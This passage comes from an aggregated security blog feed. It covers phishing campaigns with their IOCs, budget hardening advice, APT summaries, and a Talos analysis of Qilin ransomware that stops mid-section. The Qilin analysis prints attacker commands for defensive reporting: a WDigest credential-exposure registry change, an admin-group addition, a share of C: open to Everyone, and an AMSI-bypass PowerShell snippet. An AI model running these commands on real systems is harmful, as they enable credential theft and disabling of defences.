Inside ANY.RUN’s Interactive Sandbox, analysts can observe how each redirect unfolds across real Microsoft and ClickUp domains, see the credential-harvesting page render inside Azure Blob Storage, and extract live indicators for immediate defense updates. This visibility helps SOC teams shorten investigation time and enrich detection logic with behavioral context, not just URLs.

Ready-to-Use Threat Intelligence Lookup Queries

Use the following TI Lookup queries to uncover related infrastructure and track recurring phishing activity across trusted cloud providers:

Azure Blob Storage: domainName:”*.blob.core.windows.net$” AND threatName:”phishing

Microsoft Forms: domainName:”forms.office.com$” AND threatName:”phishing

ClickUp: domainName:”clickup.com$” AND threatName:”phishing”

Gathered IOCs:

https[:]//forms[.]office[.]com/e/YtRCbHDk14

microlambda[.]blob[.]core[.]windows[.]net

5. TyKit: New Phishkit Stealing Hundreds of Microsoft Accounts in Orgs

Detailed breakdown of TyKit attack

ANY.RUN analysts identified Tykit, a reusable phishing kit that hides JavaScript inside SVG files to push victims through a multi-stage flow and steal Microsoft 365 logins.

First seen in May 2025 with activity peaking in September–October 2025, it hits organizations across the US, Canada, LATAM, EMEA, SE Asia, and the Middle East, with notable impact on finance, government, telecom, IT, real estate, construction, professional services, education, and more.

Tykit blends redirects, basic anti-debugging, and staged C2 checks to outlast simple filters. A successful phish can lead to account takeover, data theft from mailboxes and cloud drives, lateral movement, and MFA bypass via AitM logic.

View analysis session with TyKit

*Redirecting SVG file analyzed inside ANY.RUN sandbox*

How the attack unfolds:

SVG delivery → Obfuscated JS rebuilds payload and triggers redirect (eval, atob, charCodeAt patterns).

Trampoline + CAPTCHA → Cloudflare Turnstile; blocks DevTools/context menu.

Fake M365 sign-in → Background POST /api/validate to C2; server returns next HTML stage.

Exfiltration → POST /api/login sends {key, redierct [sic], token, server, email, password}.

Optional log hook → POST /x.php when server replies with status:”info”.

To collect all IOCs and perform a detailed case analysis, see the following TI Lookup query:

SVG/C2 pattern: domainName:”^segy.*”

Combined query: sha256:”a7184bef39523bef32683ef7af440a5b2235e83e7fb83c6b7ee5f08286731892″ OR domainName:”^loginmicr*.cc$” OR domainName:”^segy*”

How to Prevent Tykit Attacks

Inspect SVGs: Treat SVGs as potential attack vectors; detonate them in a sandbox to reveal hidden scripts and redirects.

Enable phishing-resistant MFA: Use FIDO2 or certificate-based methods and disable legacy authentication.

Monitor key indicators: Watch for domains like segy*, loginmicr(o|0)s.*.cc, and POSTs to /api/validate or /api/login.

Automate detection: Alert on Base64 /?s= parameters and integrate Threat Intelligence Feeds for fresh IOCs.

Train and respond fast. Teach users that even image files can trigger phishing. If compromised, revoke sessions and reset credentials.

Using ANY.RUN’s Interactive Sandbox during incident response accelerates this process: analysts can safely replay the infection chain, confirm what data was exfiltrated, and extract accurate IOCs within minutes. This shortens MTTR and helps strengthen detections for the next wave of similar campaigns.

Gathered IOCs:

SHA256 (SVGs):

ECD3C834148D12AF878FD1DECD27BBBE2B532B5B48787BAD1BDE7497F98C2CC8

A7184BEF39523BEF32683EF7AF440A5B2235E83E7FB83C6B7EE5F08286731892

Domains & patterns:

segy[.]zip, segy[.]xyz, segy[.]cc, segy[.]shop, segy2[.]cc

^loginmicr(o|0)s.*?.([a-z]+)?d+.cc$

URLs & requests:

GET /?s=<b64_victim_email>

POST /api/validate

POST /api/login

POST /x.php

View august’s top threats analysis to spot recurring tactics and compare how attacker trends evolved month to month

Empower Your SOC with Live Visibility and Actionable Intelligence

From phishing kits and stealers to ransomware and zero-day exploits, today’s attacks evolve faster than static defenses can keep up. Investigating them manually can take hours, while attackers move in minutes. ANY.RUN helps SOC teams close that gap with real-time, interactive analysis.

Here’s how teams stay ahead:

Expose the full attack chain instantly: Detonate suspicious files, links, or scripts in real time and see every process, redirect, and payload as it happens.

Accelerate investigations: Live network mapping, script deobfuscation, and automatic IOC extraction cut analysis time from hours to minutes.

Reduce MTTR by over 21 minutes per case: Clear visibility into system behavior and exfiltration flows enables faster triage and confident containment.

Enrich detection logic automatically: Pivot from a single domain or hash in Threat Intelligence Lookup to hundreds of related submissions, revealing shared infrastructure and TTP patterns.

Feed fresh intelligence into your stack: Integrate ANY.RUN’s Threat Intelligence Feeds with your SIEM, SOAR, or XDR for continuous updates and context-rich alerts.

For SOCs, MSSPs, and threat researchers, ANY.RUN delivers the speed, depth, and live visibility needed to turn reactive defense into proactive threat hunting and stay ahead of every new campaign.

Explore ANY.RUN’s capabilities during 14-day trial→

About ANY.RUN

ANY.RUN supports more than 15,000 organizations worldwide, including leaders in finance, healthcare, telecom, retail, and tech, helping them strengthen security operations and respond to threats with greater confidence.

Designed for speed and visibility, the solution blends interactive malware analysis with live threat intelligence, giving SOC teams instant insight into attack behavior and the context needed to act faster.

By integrating ANY.RUN’s Threat Intelligence suite into your existing workflows, you can accelerate investigations, minimize breach impact, and build lasting resilience against evolving threats.

The post Major Cyber Attacks in October 2025: Phishing via Google Careers & ClickUp, Figma Abuse, LockBit 5.0, and TyKit appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – Read More

Cybersecurity on a budget: Strategies for an economic downturn

October 29, 2025/in Company Blogs

During economic uncertainty, businesses face the challenge of maintaining strong cybersecurity while managing tightened budgets.
Cyber threats can become more numerous, motivated, and persistent during economic downturns, making the need for resilient, cost-effective security measures critical.
This blog shares practical strategies to help absorb budget cuts while minimizing the damage to an organization’s cybersecurity posture.

Learning from history

As many seasoned industry professionals remember, 2008 – 2010 was a tough time for the tech industry as well as the larger U.S. economy. During the Great Recession, unemployment rose as high as 10%, and IT and cybersecurity budgets were certainly not spared. During the 2020 COVID-19 crisis, the need for tech workers and larger IT budgets to support remote work was so strong that it outweighed the global economic slowdown. As a result, many new IT professionals never experienced what a real recession feels like.

The FBI noted a 22.3% increase in cybercrime complaint submissions from 2008 – 2009, which some attributed in part to unemployed, financially desperate tech workers turning their skillsets to crime. At that time, threat actors mostly targeted individuals in the form of scams, fraud, and other crimes. In today’s environment, a similar economic downturn could easily lead to a surge in the number and talent of ransomware operators.

Why? Unlike in the Great Recession, most corporate networks are now remote- or hybrid-enabled by default. While nothing about a network’s attack surface would inherently change due to an economic downturn, any increase in the number and skill level of attackers, decrease in the number and skill of defenders, or decrease in the quality of security measures could have devastating consequences for the IT environment owner.

Defend legacy hardware/software

As was painfully highlighted in recent years by Salt Typhoon incursions into telecommunications networks, working with legacy hardware and software is a risk many businesses take. As belts tighten during an economic downturn, cybersecurity budgets will decrease, and many businesses will inevitably need to postpone technology upgrades beyond end of life. While this introduces risk, there are a few solid strategies to mitigate that risk.

Defense in depth and zero trust

While these terms were both solid contenders for the No. 1 Sales Buzzword of 2023, they reflect a valuable underlying principle: Assume the adversary is going to gain a foothold and architect accordingly.

If a business must continue to use 40% legacy firewalls and only has budget to replace 60%, those legacy firewalls should be positioned in the interior of the network versus on the perimeter and logically separated so an adversary cannot “island-hop” from one to the next using the same vulnerability. If a legacy server must be positioned in a public-facing location, it should be placed in a tightly-controlled DMZ where compromise of that server would not lead to further network intrusion.

No breach is desirable, but you can minimize the potential for lateral movement.

Lock down unnecessary functionality

Many vulnerable applications and systems are targeted via plugins or extra features that an organization isn’t even using. The classic example is a webserver with an abandoned WordPress plugin that later is discovered to be vulnerable. Another example is the SSH login method on a VMWare ESXi hypervisor — an organization may accidentally leave this enabled and allow an adversary to log in as root.

For vulnerable systems and software, it is critical to review what is strictly necessary for it to operate and disable all other functionalities. This is an important part of attack surface reduction.

Optimize open- and closed-source software

While closed-source commercial security tools usually offer the easiest setup and best overall experience, transitioning a budget-constrained organization to a blend of commercial and open-source software may be the right answer for maximum efficacy. Here are some rules of thumb for selection.

Open source

Open-source software excels when the product does not depend on frequent updates or detailed technical support. Initial setup may be involved and challenging, but financial savings can be significant. A good current example is the Zeek network security monitor, which is not a standalone security product but significantly enhances network-based detection capabilities. An open-source SIEM solution that may be suitable for smaller businesses is Security Onion.

Closed source/commercial

For solutions that depend on frequent updates, particularly time-sensitive signature/definition updates, commercial security solutions are the only answer. This primarily includes endpoint detection and response (EDR)/antivirus (AV), firewall, and DNS security solutions. Recognizing that this is a mandatory expenditure will help solidify planning for other areas of cost savings.

Configure what you already have

For organizations that don’t have the budget for new security systems, making the most of what you already have can go a long way to ensure that basic level of security and hardening is applied. For further information beyond what is reflected below, consider reading this paper on practical security measures for small and/or budget-constrained organizations.

EDR and antivirus tuning

Review configuration and policy settings for your existing security investments like AV or EDR solutions. Optimizing them is an easy way to increase security for free. Revisit any policies that were not recently reviewed. Simple configuration changes like turning on heuristic scanning in the AV software can help to catch threats that haven’t been seen before or use more advanced methods of compromise. During the AV/EDR review, checking the exclusions list is always a good idea. As an extreme example that Talos IR has unfortunately seen during incident response, having the whole C: drive excluded prevents any detections at all. Exclusions should be targeted and precise.

Windows domain and cloud policies

Another powerful, albeit time-consuming, security measure is to optimize Windows domain policies and configurations to help protect the organization. Windows Security baselines, published by Microsoft, are a great starting point. Policy settings like enforcing strong passwords, limiting admin access, and disabling unnecessary features can help tighten security without spending extra money. The CIS also recently published an extensive guide on Active Directory and GPM configuration best practices. For cloud environments, CISA’s SCuBA program offers excellent configuration security guidance.

PowerShell hardening

Locking down PowerShell so only trusted users can run it, or setting it to a restricted mode, makes it much harder for attackers to use it against you. The newest versions of PowerShell provide excellent controls, allowing your team to restrict access, limit which scripts can be executed, and configure other granular restrictions, which will help ensure that even if a malicious PowerShell script lands somewhere in the environment, the hardened configuration of PowerShell will limit its functionality.

Executable neutering

Various tricks to prevent executables from running by default can be surprisingly effective. For example, changing the default program for opening .js files to Notepad stops these scripts from running. These small changes may seem simple, but together they can create strong layers of defense. For organizations with limited resources, these tweaks can make a big difference in reducing risk without breaking the bank. The following is a very simple PowerShell script which will ensure that malware on unsuspecting user systems is treated as a text file. Of course, these suggestions should be tested and modified to ensure that they do not impair valid enterprise functions.

# List of dangerous file extensions to associate with Notepad 
$extensions = @(".js", ".jse", ".vbs", ".vbe", ".wsf", ".wsh", ".ps1", ".cmd", ".bat", ".hta", ".scr") 
foreach ($ext in $extensions) { 
    try { 
        $assoc = New-Object -ComObject WScript.Shell 
        $assoc.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts$extUserChoiceProgid", "Applicationsnotepad.exe", "REG_SZ") 
        Write-Host "Set $ext to open with Notepad" 
    } 
    catch { 
        Write-Warning "Failed to set $ext: $_" 
    } 
}

Figure 1: Sample script to neuter executables.

Logging and alerting optimization

Assuming you have the storage space, optimizing logging and alerting is a cheap way to improve network security when a breach is likely. A good understanding of which systems are legacy and therefore vulnerable is an excellent starting point — prioritizing visibility on those systems is key.

Canaries and decoys

Thoughtful placement of canary tokens, decoy/honey accounts, and other creative countermeasures on vulnerable systems are other mechanisms to quickly detect and shut down an adversary in the network. This is especially important when you start with the assumption that you will be breached at some point due to vulnerable systems or software.

Firewalls and network filtering

The majority of organizations have firewalls and network boundary devices deployed across their infrastructure. Tuning these devices to filter high ports and allow for common ports like 80/443 outbound while restricting access to unnecessary services results in the disruption of many command-and-control malware channels, which often try to evade detection by using high ports for communication.

Doing more with less staffing

An ISC2 survey showed that 24% of cybersecurity departments faced layoffs in 2024, a trend which seems to be continuing into 2025. This was not due to a surplus of cybersecurity staffing. 67% of respondents also agreed that they no longer had the staff to meet their goals. In an economic downturn, this situation would only worsen. It is therefore important to consider how to use the remaining personnel budget as effectively as possible.

Attract and retain high-quality people

Recent developments have virtually guaranteed a future shortage of skilled mid-career cybersecurity professionals. First, the glut of cybersecurity talent on the market due to recent layoffs have led to many mid-career professionals taking entry-level jobs. Second, the advent of generative AI has led many organizations to reduce their hiring of entry-level professionals. These two factors have created an extremely hostile environment for recent graduates from cybersecurity educational programs. The authors of this post have personally observed several promising students graduate with cybersecurity degrees and ultimately pivot to unrelated fields due to the lack of opportunity. Unless gen AI advancements truly replace cybersecurity professionals, the current entry-level pipeline collapse may well lead to a shortage of skilled mid-career professionals in the next 5 – 10 years as the replacement rate drops below the rate of retirement and general attrition.

With that in mind, forward-thinking organizations should take care to attract above-average, early-to-mid career talent and make every effort to train and retain them. It is currently a strong employers’ market, and forward investment now may result in relatively cheap, seasoned employees in the future when the pendulum swings back.

Quality specialist partners

In a budget-constrained environment, having a strong relationship with on-demand cybersecurity consultants can be a form of leverage, providing tremendous benefit at a relatively cheap cost. If an organization is large enough to experience a significant cybersecurity incident every week, it would make sense to fully staff an in-house incident response team. However, for most organizations that only experience a few incidents per year, it makes good financial sense to employ a team of cybersecurity generalists and have an incident response provider on retainer for extreme circumstances.

Using Cisco Talos as an example, not only is an annual retainer with Cisco Talos Incident Response cheaper than employing a single full-time incident responder, but the retaining organization also gets the benefit of a highly-experienced incident response team that deals with major incidents around the globe on a weekly basis.

Hard decisions are inevitable when the security budget decreases. However, exploring new options to add efficiency can not only protect the organization in the short term, but also provide long-term efficiency gains when budgetary restrictions eventually ease.

Cisco Talos Blog – Read More

GhostCall and GhostHire — two campaigns by BlueNoroff

October 28, 2025/in Company Blogs

Experts from the Kaspersky Global Research and Analysis Team (GReAT) talked at the Security Analyst Summit 2025 about the activities of the BlueNoroff APT group, which we believe to be a subgroup of Lazarus. In particular, they described in detail two campaigns targeting developers and executives in the crypto industry: GhostCall and GhostHire.

The BlueNoroff actors are primarily interested in financial gain, and currently prefer to attack employees of organizations working with blockchain. Targets are chosen carefully: the attackers clearly prepare thoroughly for each attack. The GhostCall and GhostHire campaigns are very different from each other, but they depend on a common management infrastructure, which is why our experts combined them into a single report.

The GhostCall campaign

The GhostCall campaign mainly targets executives of various organizations. The attackers attempt to infect their computers with malware designed to steal cryptocurrency, credentials, and secrets that the victims may be working with. The main platform that GhostCall operators are interested in is macOS — probably because Apple devices are particularly popular among the management of modern companies.

GhostCall attacks begin with fairly sophisticated social engineering: attackers pretend to be investors (sometimes using stolen accounts of real entrepreneurs and even fragments of real video calls with them) and try to arrange a meeting to discuss partnership or investment. The goal is to lure the victim to a website that mimics Microsoft Teams or Zoom. A standard trap awaits them there: the website displays a notification about the need to update the client or fix some technical problem. To do this, the victim is asked to download and run a file, which leads to the infection of the computer.

Details about the various infection chains (there are at least seven in this campaign, four of which our experts haven’t encountered before), along with indicators of compromise, can be found in the blogpost on the Securelist website.

The GhostHire campaign

GhostHire is a campaign targeting developers working with blockchain. The ultimate goal is the same —to infect computers with malware — but the maneuver is different. In this case, attackers lure victims with offers of employment with favorable terms. During negotiations, they give the developer the address of a Telegram bot, which provides the victim with a link to GitHub with a test task, or offers to download it in an archive. To prevent the developer from having time to think it over, the task has a fairly tight deadline. While performing the test, the victim’s computer becomes infected with malware.

The tools used by attackers in the GhostHire campaign and their indicators of compromise can also be found in the post on the Securelist blog.

How to protect yourself from GhostCall and GhostHire attacks?

Although GhostCall and GhostHire target specific developers and company executives, attackers are primarily interested in the working infrastructure. Therefore, the task of protecting against these attacks falls on the shoulders of corporate IT security specialists. We therefore recommend:

Periodically raising awareness among all company employees about the tricks used by modern attackers. Training should take into account the nature of the work of specific specialists, including developers and managers. Such training can be organized using a specialized online platform, such as Kaspersky Automated Security Awareness Platform.

Use modern security solutions on all corporate devices that employees use to communicate with the outside world.

Kaspersky official blog – Read More

5 SOC Challenges and How Threat Intelligence Solves Them

October 28, 2025/in Company Blogs

No SOC is perfect, but it’s possible to overcome frequent shortcomings and achieve measurable results by introducing one essential component of modern cybersecurity operations: threat intelligence.

Organizations using ANY.RUN’s TI solutions report the following results:

94% experience faster triage

Up to 58% more threats get detected

3x improvement in overall SOC performance

Quality, real-time threat intelligence helps SOCs tackle their toughest challenges. More on that below.

#1. Low Detection Rates

*Factors related to low detection rate its possible cost*

As attackers continuously refine their evasion tactics, low detection rates remain a key challenge for SOC teams. When even one missed threat can quickly escalate into serious operational and reputational risks, businesses can’t afford to overlook this metric.

Solution: Threat intelligence is a powerful driver for early detection. This alone can radically boost your performance rates. How? Through expanded threat coverage, which is the key mission of Threat Intelligence Feeds.

*TI Feeds offer IOCs for better detection and streamlined workflows*

By aggregating live attack data from 15,000+ organizations across industries and counties, TI Feeds highlights which malware is targeting real business right now. The result is 99% unique network IOCs that do not overlap with other sources and get carefully filtered to avoid false positives.

For your business, this means a wide, in-depth, and relevant visibility into the latest threats. That’s what drives the SOC team’s detections up and helps you remain one step ahead of attackers, mitigating the risk of costly disruptions.

Outcome:

Proactive detection – identify emerging threats in your SOC early on.

Wide coverage of threats – monitor latest malware and phishing globally.

Resources saved – no time and effort is wasted on false positives and escalations.

#2. Slow Incident Response

The underlying reasons behind slow incident response often include a lack of automation and alert prioritization. But when incidents miss context, even the most efficient workflow might stall. Timely reaction becomes impossible when analysts have to go through disconnected alerts and bare IOCs.

*You can improve your SOC’s metrics by adding TI Feeds to your security stack*

Solution: Threat intelligence fueled with live context from ongoing malware investigations allows you to detect threats early on and cut response time dramatically. Each indicator from TI Feeds has a detailed sandbox report behind it. With it, you can see how malware behaves, what processes it affects, and what related IOCs there are.

Outcome:

Full threat visibility – it takes seconds to dig deeper into a malicious sample for actionable insights.

Shorter MTTR – 21 min less per incident.

Instant threat blocking – integrate TI Feeds with your SIEM, SOAR, or EDR to refine playbooks in real time.

#3. Large Alert Backlog

SOC teams must face massive amounts of data, and each unprocessed item awaiting manual investigation is a potential risk. That is why there’s a demand for solutions that work fast and support automated workflows.

Solution: Efficient TI solutions clear backlogs quickly and ensure that no threat is overlooked, including evasive or hidden threats that might act without showing themselves for months, leading to a system-wide disruption.

*TI Lookup is created for instant enrichment of IOCs for quick yet informed action*

All it takes is one query to investigate a suspicious sample in Threat Intelligence Lookup to learn instantly if it poses danger. When the solution is integrated into your technology stack, this process becomes even smoother and can be scaled up without extra resources.

*Proactive research of threats and enrichment of IOCs in TI Lookup takes seconds*

Outcome:

IOCs enriched in real time – gain actionable insights in under 40 seconds.

Smarter decisions – 24x more IOCs per incident and not a single threat missed.

Less escalations – threat intel empowers independency in Tier 1 analysts.

#4. Alert Fatigue and Burnout in Teams

The human factor has a major impact on cybersecurity. Endless alerts lead to lower productivity of analysts. False positives and lack of ready-to-use threat data cause alert fatigue, a phenomenon that can snowball into serious compromise risks.

*From hands-on analyses to your infrastructure—that’s how TI Feeds extracts and delivers actionable IOCs*

Solution: ANY.RUN delivers clean, reliable threat intelligence retrieved directly from malware analysts, not from third-party sources. This means that every IOC is verified and supplied in real time, allowing to decrease escalations between tiers and empower analysts to conduct proactive hunting and research.

Outcome:

Focus maintained – reliable data makes for informed decisions across tiers.

Motivation stays high – quality threat intel without noise lowers the workload.

Better results with time saved – automated, streamlined workflow allows for 3x boost in performance rates.

#5. Lack of Integrity in Solutions

Enterprises often hesitate to adopt new solutions in fear that they might disrupt the established workflow and demand major changes in current operations.

Solution: It’s key to consider the possibility of smooth integration that leaves you with a unified, sustainable defense system rather than several standalone services. Threat intelligence should strengthen your ecosystem, not conflict with it.

*TI solutions by ANY.RUN can be integrated through multiple sources*

ANY.RUN’s TI Lookup and TI Feeds come with a wide range of integrations and connectors from renowned vendors, as well as the possibility for custom integrations through STIX/TAXII & API/SDK.

Outcome:

Enterprise-grade solution – choose integration tailored to your business.

Fast incident response – smoothly integrated solutions cut investigation time.

Efficient threat blocking – use intelligence to empower instant updates in defensive strategy.

Conclusion

Making threat intelligence a part of your workflow brings integrity and sustainability to the entire infrastructure. You can transform common SOC challenges into opportunities for faster detection, smarter response, and overall cybersecurity resilience.

About ANY.RUN

Built for modern SOC workflows, ANY.RUN enables teams to detect threats faster and respond with confidence. Our Interactive Sandbox delivers real-time malware analysis and contextual threat intelligence for rapid, informed decisions.

Compatible with Windows, Linux, and Android, the cloud sandbox provides in-depth behavioral analysis without local configuration. Integrated TI Lookup and TI Feeds supply enriched IOCs and automation-ready intelligence, no infrastructure maintenance required.

Experience it with a 14-day trial →

The post 5 SOC Challenges and How Threat Intelligence Solves Them appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – Read More

LeetAgent: a tool shared by ForumTroll and Dante

October 27, 2025/in Company Blogs

Our experts from the Kaspersky Global Research and Analysis Team (GReAT) reconstructed the chain of infection used in attacks by the ForumTroll APT group. During their investigation, they discovered that the tools used by ForumTroll were also used to distribute the commercial malware Dante. Boris Larin gave a detailed presentation on this research at the Security Analyst Summit 2025 conference in Thailand.

What is ForumTroll APT, and how does it operate?

In March, our technologies detected a wave of infections of Russian companies with previously unknown sophisticated malware. The attacks used short-lived web pages that exploited the CVE-2025-2783 zero-day vulnerability in Google Chrome. The attackers sent emails to employees of media, government, educational, and financial institutions in Russia, inviting them to participate in the Primakov Readings scientific and expert forum, which is why the campaign was given the catchy name “Forum Troll” and the group behind it was named ForumTroll. When the link in the email was clicked, the device was infected with malware. The malware used by the attackers was named LeetAgent because it received commands from the control server in Leet modified spellings.

After the initial publication, GReAT experts continued to investigate ForumTroll’s activity. In particular, they found several more attacks by the same group on organizations and individuals in both Russia and Belarus. In addition, while searching for attacks that used LeetAgent, they discovered cases of other, much more sophisticated malware being used.

What is Dante and what does HackingTeam have to do with it?

The malware found had a modular structure, used module encryption with keys unique to each victim, and self-destructed after a certain period of time if no commands from the control server were received. But most interesting of all, our researchers managed to identify it as commercial spyware called Dante, developed by the Italian company Memento Labs – formerly known as Hacking Team.

HackingTeam was one of the pioneers of commercial spyware. But in 2015, the company’s own infrastructure was hacked and a significant portion of its internal documentation – including the source code for its commercial spyware – was published online. After that, the company was sold and renamed Memento Labs.

You can read more about what Dante malware can do, and how our experts figured out that it was indeed Dante in the Securelist blogpost. You can also find the corresponding indicators of compromise there.

How to stay safe

Initially, attacks using LeetAgent were detected using our XDR solution. In addition, details of this research, as well as information about the ForumTroll group and the Dante spyware that we’ll learn in the future, will be available to subscribers of our APT threat data service on the Threat Intelligence Portal.

Kaspersky official blog – Read More

Uncovering Qilin attack methods exposed through multiple cases

October 27, 2025/in Company Blogs

In the second half of 2025, the ransomware group Qilin has continued to publish victim information on its leak site at a pace of more than 40 cases per month, making it one of the most impactful ransomware groups worldwide. The manufacturing sector has been the most affected, followed by professional and scientific services, and wholesale trade.
Although this could be a false flag, some of the scripts used by the attacker contained character encodings that point to Eastern Europe or a Russian-speaking region.
Talos identified an open-source tool named Cyberduck, which enables file transfers to cloud servers, among the tools used for data exfiltration. In recent trends, Cyberduck has been widely abused in cases involving Qilin ransomware. Artifact logs also show the use of notepad.exe and mspaint.exe, which were leveraged to view high-sensitivity information.
In Qilin cases, we observed dual deployments: encryptor_1.exe spreads via PsExec across hosts, while encryptor_2.exe runs from one system to encrypt multiple network shares.

Summary of Qilin Ransomware

The Qilin (formerly Agenda) ransomware group has been active since around July 2022. This group employs a double-extortion strategy, combining file encryption with the public disclosure of stolen information. Figure 1 illustrates the leak site used by the attackers to publish lists of compromised companies.

Uncovering Qilin attack methods exposed through multiple cases — Figure 1. Qilin ransomware leak site.

Over the past several years, Qilin has expanded its operations and now ranks among the most prolific and damaging ransomware threats on a global scale. The group adopts a Ransomware-as-a-Service (RaaS) business model, where it develops and distributes ransomware platforms and associated tools to affiliates. In turn, these affiliates attack organizations worldwide.

Victimology and prevalence

Current reporting indicates that the countries most severely affected include the United States, followed by Canada, the United Kingdom, France, and Germany.

Figure 3 illustrates the number of victims whose information was posted on Qilin ransomware leak site.

The data shows that the number of postings reached a peak of 100 cases in June 2025, with a nearly equivalent figure recorded again in August. Although the number of victims fluctuates from month to month, it is noteworthy that, except for January, every month recorded more than 40 cases. These findings indicate that Qilin continues to pose a persistent and significant threat.

The most heavily affected sector is manufacturing, which accounts for approximately 23% of all reported cases, significantly outpacing other industries. The second most impacted sector is professional and scientific services, representing around 18%. Wholesale trade ranks third, with about 10% of cases.

In the mid-range, several key sectors that form part of social infrastructure-healthcare, construction, retail, education, and finance-each report similar levels of impact, averaging around 5%.

At the lower end, sectors such as services and primary industries show relatively fewer incidents, remaining below 2% on average.

Qilin ransomware attack flow

In 2025, Cisco Talos responded to multiple incidents related to Qilin ransomware. The overall attack flow is illustrated in Figure 5, and subsequent sections provide a detailed description of the tactics, techniques, and procedures (TTPs) observed in each phase.

Latest Qilin TTPs

Initial access

Talos was unable to definitively identify a single, confirmed initial intrusion vector. However, in some cases, we assess with moderate confidence that attackers abused administrative credentials leaked on the dark web to gain VPN access, and may have also used Group Policy (AD GPO) changes enabling RDP to reach victim networks.

In the incident illustrated in Figure 6, Talos confirmed that credentials had been exposed on the dark web. Approximately two weeks later, numerous NTLM authentication attempts were made against the VPN, possibly using the leaked credentials. The resulted in a successful intrusion. From the compromised VPN, the attackers performed RDP connections to the domain controller and the initially breached host. While the activity is temporally correlated with the previously observed credential exposure, there is insufficient evidence to establish a definitive causal link between the two events.

Notably, the VPN implicated in this case had no multi-factor authentication (MFA) configured, which would allow an attacker with credentials unfettered access.

Reconnaissance and discovery

After gaining access to the victim’s network, the threat actor executed nltest.exe and net.exe to enumerate domain controllers and collect domain user information.

nltest /dclist:<Domain>
net user <Username> /domain

In addition, traces indicate that the adversary attempted to assess user privilege levels through execution of the whoami command, enumerated active processes such as explorer.exe via the tasklist command, and utilized the netscan tool for further reconnaissance.

C:WINDOWSsystem32whoami.exe /priv
tasklist /FI "IMAGENAME eq explorer.exe" /FO CSV /NH

As described in the “Qilin Ransomware” section below, execution of the ransomware also resulted in enumeration of hostnames, domain users, groups, and privileges.

Credential access and exfiltration

In the cases Talos examined, we identified a password-protected folder containing a collection of tools, apparently intended for credential theft. Although the archive prevented full inspection of every file, its contents suggest use of mimikatz, several password recovery utilities published by NirSoft, and custom script files.

The “!light.bat batch” file includes a reg add command that modifies the WDigest registry setting. By setting “UseLogonCredential” to 1, Windows is configured to retain plaintext logon credentials in memory at authentication, a behavior that can be exploited by credential-dumping tools such as Mimikatz to extract user passwords.

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /f /d 1

After executing the reg add command, the batch file sequentially invoked netpass.exe, WebBrowserPassView.exe, BypassCredGuard.exe, SharpDecryptPwd, and ultimately Mimikatz. Within the script (see Figure 8), SharpDecryptPwd is configured to extract, redirect, and persist stored authentication data from multiple client applications — including WinSCP, Navicat, Xmanager, TeamViewer, FileZilla, Foxmail, TortoiseSVN, Google Chrome, RDCMan, and SunLogin, thereby consolidating harvested credentials for subsequent use or exfiltration.

Following the execution of SharpDecryptPwd, !light.bat launched Mimikatz. (Figure 9).

Commands executed via Mimikatz targeted a range of sensitive data and system functions, including clearing Windows event logs, enabling SeDebugPrivilege, extracting saved passwords from Chrome’s SQLite database, recovering credentials from previous logons, and harvesting credentials and configuration data related to RDP, SSH, and Citrix.

pars.vbs formatted and consolidated the stolen data into a “result.txt” file, which was subsequently exfiltrated to an attacker-controlled SMTP server (Figure 10). The script specifies the windows-1251 character encoding (Cyrillic), which may suggest the attacker or operator is from Eastern Europe or a Russian-speaking region.

Artifacts of exfiltration

Once collected, WinRAR packaged the targeted data, and in some cases the archives were exfiltrated using open-source software. Below are the actual arguments used to run WinRAR.exe. The WinRAR command is configured to exclude the base folder and to create the archive without recursively processing subdirectories.

C:Program FilesWinRARWinRAR.exe a -ep1 -scul -r0 -iext -imon1 --.  Specify the target files and directories

Furthermore, Talos found that the attackers used mspaint.exe, notepad.exe, and iexplore.exe to open and inspect files while searching through numerous files for sensitive information.

In recent trends, the open-source software Cyberduck — which enables file transfers to cloud servers — has been widely abused in cases involving Qilin ransomware. By abusing legitimate cloud-based services for exfiltration, the attacker can obfuscate their activities within trusted domains and legitimate web traffic. As shown in Figure 12, the Cyberduck history file indicates that a Backblaze host was specified as the destination and that a custom setting for split/multipart uploads was enabled to transfer large files.

Privilege escalation and lateral movement

Using the stolen credentials described above, threat actor proceeds with privilege escalation and lateral movement. Talos has observed compromised accounts accessing multiple IP addresses and their network shares, as well as numerous NTLM authentication attempts against many VPN accounts , possibly using the leaked credentials. Additionally, to enable remote access they modify firewall settings, execute commands to change RDP settings via the registry, and perform related activities such as using rdpclip.exe and similar mechanisms.

reg add HKLMSYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

The following command adds a specific account designated by the attacker to the local administrators group. This grants them full control over the system.

C:Windowssystem32net1 localgroup administrators  /add

They also run a command to create a network share named “c” that exposes the entire C: drive and assigns Full Control to the Everyone group, allowing unrestricted access and modification.

net share c=c: /grant : everyone,full

T1219: Remote Access Software

The attacker installed software that was different from the legitimately used Remote Monitoring and Management (RMM) tools; this occurred before the ransomware was executed. While Talos cannot definitively conclude that the installed RMM was used for lateral movement, traces of multiple RMM tools were observed, including AnyDesk, Chrome Remote Desktop, Distant Desktop, GoToDesk, QuickAssist, and ScreenConnect. Figure 13 shows an excerpt of an actual ScreenConnect connection log, which indicates that ScreenConnect established a connection to the command and control(C2) server on port 8880.

Defense evasion

Obfuscated Powershell

Figure 14 and Figure 15 show two patterns of obfuscated PowerShell code, encoded using numeric encoding, intended to evade detection

Below is the decoded output of the above code.

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
reg add HKLMSYSTEMCurrentControlSetControlLsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

Executing these commands makes three configuration changes. First, disabling AMSI prevents interference with execution of payloads such as batch files and malware. Second, disabling TLS certificate validation removes barriers to contacting malicious domains or C2 servers. Finally, enabling Restricted Admin causes RDP authentication to rely on NT hashes or Kerberos tickets rather than passwords. Although passwords are not retained, NT hashes remain on the system and can be abused by an attacker to impersonate the user.

Disable AMSI
Disable TLS certificate validation
Enable Restricted Admin

Disable EDR

